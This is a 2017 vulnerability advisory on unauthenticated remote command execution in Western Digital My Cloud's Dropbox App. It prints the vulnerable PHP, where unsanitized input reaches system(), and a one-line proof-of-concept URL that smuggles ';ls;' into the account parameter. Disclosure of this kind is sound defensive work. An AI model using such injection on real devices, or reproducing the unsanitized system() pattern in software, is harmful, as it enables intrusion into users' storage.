SSD Advisory – Remote Command Execution in Western Digital with Dropbox App

blogs.securiteam.com/index.php/archives/3397

SSD / Maor Schwartz August 29, 2017

Vulnerability summary
The following advisory describes an unauthenticated Remote Command Execution vulnerability in My Cloud products with that has Dropbox App installed.

The My Passport, My Book, and My Cloud (Single-Bay) drives allow users to backup their data to an existing Dropbox account using WD SmartWare Pro, WD Backup. The My Cloud Dropbox App (Available on the multi-bay My Cloud drives) allows a user to sign-in to their Dropbox account and synchronize the data stored between the drive and Dropbox storage.

Credit
An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
Western Digital was informed of the vulnerability, and released Dropbox v2.00 to address it.

Vulnerability details

User controlled input is not sufficiently sanitized, and then passed to a *system()* function. The attacker controlled input *$_REQUEST['account']* found in *dropbox.php* can be exploited to gain remote command execution.

```
<?php

$date = new DateTime();
$r    = $date->getTimestamp();

$cmd        = $_REQUEST['cmd'];
$DropboxAPI = new DropboxAPI;

switch ($cmd) {
    case "delBlacklist":
        $DropboxAPI->delBlacklist();
        break;
    case "getBlacklist":
        $DropboxAPI->getBlacklist();
        break;
    case "setBlacklist":
        $DropboxAPI->setBlacklist();
        break;
    case "getTree":
        $DropboxAPI->getTree();
        break;
}
...
...
...
...
class DropboxAPI
{
    public function getBlacklist()
    {
        $account = $_REQUEST['account'];
        $xmlPath = "/tmp/dBlack_$account.xml";

        @unlink($xmlPath);

        $cmd = "dropnasctl -j $account --black_list_get -x $xmlPath >/dev/null";
        system($cmd);

        if (file_exists($xmlPath)) {
            print file_get_contents($xmlPath);
        } else {
            print "<config><list></list></config>";
        }
    }
}
```

Proof of Concept

The following PoC will run the '*ls*' command on victim's machine

```
1 http://IP/Dropbox/php/dropbox.php?cmd=getBlacklist&account=;ls;
```